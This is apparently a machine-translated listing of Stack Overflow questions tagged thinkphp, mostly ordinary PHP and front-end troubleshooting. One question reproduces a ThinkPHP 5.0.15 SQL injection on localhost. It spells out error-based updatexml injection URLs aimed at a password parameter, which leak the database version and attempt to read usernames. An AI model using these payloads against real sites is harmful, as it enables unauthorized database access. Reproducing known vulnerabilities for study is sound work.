问题标签 [thinkphp]

For questions regarding programming in ECMAScript (JavaScript/JS) and its various dialects/implementations (excluding ActionScript). Note JavaScript is NOT the same as Java! Please include all relevant tags on your question; e.g., [node.js], [jquery], [json], [reactjs], [angular], [ember.js], [vue.js], [typescript], [svelte], etc.

0 投票
0 回答
94 浏览

php - 如何创建具有多行的动态pdf?

我从 PHP 创建了一个 pdf。

但是循环行打印就像合并

在此处输入图像描述

第二行和第三第四合并

0 投票
1 回答
267 浏览

php - mac-thinkphp 控制器不存在

我的 Index.php 有两个功能。功能指标好,但功能测试不好。我不知道。

[0] HttpException in App.php line 578 控制器\控制器不存在:app\indexler\Test

0 投票
0 回答
177 浏览

php - thinkphp5.0.x调试中的sql_injection漏洞

我正在重新创建一个关于的 sql 注入漏洞thinkphp5.0.x

我已经可以得到version()但是我不能得到字段内容,它说:

SQLSTATE[HY000]: General error: 1105 Only constant XPATH queries are supported`
为什么?</p>

思考php 5.0.15
php 7.2

payload1: http:
//127.0.0.1/thinkphp5.0.15/public/index.php/index/index/index?password[0]=inc&password[1]=updatexml(1,concat(0x7e,version(),0x7e) ,1)&密码[2]=1

回声1:

SQLSTATE[HY000]:一般错误:1105 XPATH 语法错误:'~5.5.53~'

payload2: http:
//127.0.0.1/thinkphp5.0.15/public/index.php/index/index/index ?password[0]=inc&password[1]=updatexml(1,concat(0x7e,(select%20username%20from %20用户限制 0,1),0x7e),1)&密码[2]=1

回声2:

SQLSTATE [HY000]:一般错误:1105 仅支持常量 XPATH 查询,但它在 mysql 中的回显是正确的:mysql> INSERT INTO user( password) VALUES (updatexml(1,concat(0x7e,(select username from user limit 0,1)) ,1)+1); 错误 1105 (HY000): XPATH 语法错误: '~test'

我希望输出是 SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~test'

0 投票
1 回答
83 浏览

php - 将 cookie 发送到服务器时遇到问题

vue+axios 前端不会在请求标头中将 cookie 发送到我的 php 服务器。

我正在尝试将旧项目移动到新服务器。我对项目架构做了一些优化,它在我的本地 docker 环境中运行良好。当我将它移到生产环境时发生了一些问题。每边有两个域。admin.example.com 用于前端,serve.example.com 用于后端。我在服务器代码中手动将 cookie_path 设置为 / 并将 cookie_domain 设置为 .example.com 。前端在后端响应标头中获得了预期的 set-cookie。但是前端不会在每个下一个请求中将 cookie 发送到后端。所以登录状态无法维持。

响应头如下:

预期结果:浏览器在每个请求中发送 cookie,以便保持登录状态。

实际结果:Cookie 尚未发送。浏览器在每个请求中获得不同的会话密钥。

0 投票
0 回答
24 浏览

php - 将一个类($this)的属性$action赋给一个变量$conf,为什么是数组?

项目中使用的框架thinkphp的controller.php中有如下函数,其中有这行代码:“$conf = $this->$action”。

“if (property_exists($this, $action))” 正在检查 $this 类中是否存在属性 $action。形成下一行代码“if (key_exists('login', $conf))”,在我看来 $conf 是一个数组。

我的问题是:“$conf = $this->$action”到底在做什么,将一个数组(属性$action?为什么$action是一个数组?)分配给变量$conf?

0 投票
0 回答
54 浏览

javascript - 如何动态检查复选框是否在另一个表 Javascript/PHP 中?

我有两个表,table 1字段为webID, project, web,我使用下面的 PHP 代码(ThinkPHP 框架)来获取项目列表:

table 2我使用以下PHPuserID, issue, web, project代码获取问题列表:

下面的代码.js是让用户选择的项目和问题的多项选择/复选框,当用户选择issue不属于该的project时,如何提醒用户在提交前再次检查?

html代码如下:

和实际的htmlinspect如下:

0 投票
1 回答
68 浏览

php - 如何在 php 或其框架中找到“::get”?

我无法理解::getinthinkphplaravel,我可以找到Session::getor self::get 。那么::getis 是函数吗?我使用了,phpstorm但我找不到那个的定义。是“”的意思,::get不是“”的::符号

0 投票
0 回答
17 浏览

php - 在 namecheap pulsar vps 主机上运行带有 ssl 的 php cli 框架

我正在尝试通过命令在我的 VPS 服务器上以 CLI 模式运行 PHP 框架(Think php6)php think run

php think run -p 443该脚本需要 SSL 连接才能正常工作,但通过或拒绝在默认端口(80 和 443)上运行php think run -p 80

我收到此错误:

在 0.0.0.0:443 上收听失败(原因:地址已在使用中)

我尝试在我创建的地方使用神奇的 authbind,你/authbind/byport/80/authbind/byport/443 怎么着?

结果:

/root/frameworks/thinktest/: 权限被拒绝

0 投票
0 回答
4 浏览

thinkphp - 为什么这个程序从 Area 表中获取数据?

语言:PHP 7.2 框架:thinkphp v5.0

控制器

模型

输出

0 投票
0 回答
11 浏览

vue.js - 如何使用 vue 前端项目在本地运行 thinkcmf 框架后端

我正在尝试使用 vue 前端运行 thinkcmf 框架后端。我收到以下错误。

跨域请求被阻止:同源策略不允许在https://domainname.com:80/api/读取远程资源。(原因:CORS 请求未成功)。状态码:(空)。

有人能帮忙吗?